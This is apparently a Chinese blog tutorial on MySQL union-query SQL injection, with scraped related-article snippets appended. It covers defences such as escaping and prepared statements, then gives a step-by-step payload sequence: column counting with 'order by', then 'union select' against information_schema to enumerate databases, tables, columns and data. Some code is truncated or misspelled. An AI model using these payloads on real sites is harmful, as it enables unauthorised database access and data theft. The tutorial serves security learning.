sql注入基礎 mysql聯合查詢方法

2021-09-17 21:40:05 字數 2163 閱讀 6983

講在前面:

網上有很多關於對sql注入的講解,但是最後還是覺得自己總結一下更好一些,也希望自己寫的把這一塊講的比較清楚,來幫助可能對sql注入的原理,產生原因,以及payload有寫模糊的人。也歡迎大佬們及時斧正,一起交流

學習sql注入首先要對sql語法有乙個基本的了解,只少要對掌握sql的查詢語句。本篇文章不涉及資料庫基礎的更多知識。只和大家說一下

select 為查詢語句的關鍵字

from 後面跟查詢的路徑(查詢路徑指的是資料庫 表 之類)

where 後面跟查詢條件

一、sql注入攻擊整體思路

1.尋找到sql注入的位置

2.判斷伺服器型別和後台資料庫型別

3.針對不通的伺服器和資料庫特點進行sql注入攻擊

二、sql注入原理

把sql語句插入網頁url(get)表單提交(post) 還有cookie,從而欺騙伺服器獲取資料庫敏感資訊

三、防護:

1 、對使用者的輸入進行校驗,接收到提交的引數對特殊字元進行轉移,mysql_real_escape_string()函式可以將 \x00 \n \r \ 』 "等字元進行轉義

<?php

if (isset($_get['submit']))

} ?>

2不要使用動態拼接

3使用者的異常資訊減少提示

4.採用sql語句預編譯和繫結變數(使用preparedstatement)

string sql = "select id, no from user where id=?";

preparedstatement ps = conn.preparestatement(sql);

ps.setint(1, id);

ps.executequery();

採用了preparedstatement,就會將sql語句:「select id, no from user where id=?」 預先編譯好,後面你輸入的引數,無論你輸入的是什麼,都不會影響該sql語句的 語法結構了,因為語法分析已經完成了,那麼後面輸入的引數,不會作為sql命令來執行的,只會被當做字串字面值引數。

四、mysql資料庫聯合查詢注入

先說清楚幾個問題:我們假設order by 查到的字段有5列,下面的1,2,3,4,5是佔位符

(1)在引數數值後面加『 發現頁面報錯

(2) 在引數數值後面加 and 1=1 (頁面回顯正常) and 1=2 (頁面又報錯)

證明sql注入payload可以寫入資料庫並可以被伺服器執行

(3)在引數數值後面加 order by 加數字 判斷字段數目(從高向低試)第乙個回顯正常頁面的數字正確

(4)查資料庫

union select 1,2,3,4,5 from information_schema.schemate

(在information_schema資料庫中schemate表下存放著所有資料庫的名字

databaes()用來查詢資料庫名字)

(5)查表名

union select 1,table_name,3,4,5 from information_schema.tables where table_schema= 『資料庫名』 limit 0,1

(information_schema資料庫tables表下table_name列存放著表名而table_schema列則是對應的是對應的資料庫)

(6)查列名

and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where

table_name=』表名』 limit 0,1

(同理columns:(表)存放著列名 column_name:(列)存著列名字)

(7)查字段

union select 1,列名1,列名2,4,5 from 資料庫.表名 limit 0,1

union select 1,group_concat(列名1),group_concat(列名2),4,5 from 資料庫.表名 limit 0,1

(from 後面的 資料庫.表名就是上面 (4)(5)步查出來的資料庫和表名 切記中間有乙個引英文的 『.』 )

SQL注入 聯合查詢注入

注入條件 頁面有顯示位,即在乙個 的正常頁面,服務端執行sql語句查詢資料庫中的資料,客戶端將資料展示在頁面中,這個展示資料的位置就叫顯示位。找的注入點 查詢列數 找到顯示位 獲取列中的資訊 注入點 查詢列數 order by 猜測的列數 order by 11 返回正常,有11列 order by...

聯合查詢SQL注入

sql注入介紹 sql注入介紹 注入產生原因 web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,導致惡意payload直接帶入sql語句執行,從而執行payload中非法操作!新建php檔案,將下面 複製到php檔案中,在瀏覽器中訪問即可 host 127.0.0.1 dbuser root...

sql注入 union聯合查詢注入

目錄 一,sql注入必記的一庫三表 二,union聯合查詢注入 1,基本注入流程 1,判斷注入點 2,判斷多少列 3,判斷顯示位 4,顯示資料庫的基本資訊 5,顯示有哪些資料庫 6,顯示資料庫下有哪些表 7,判斷表裡有哪些字段 八,查詢資料表中有哪些資料 information schema 資料庫...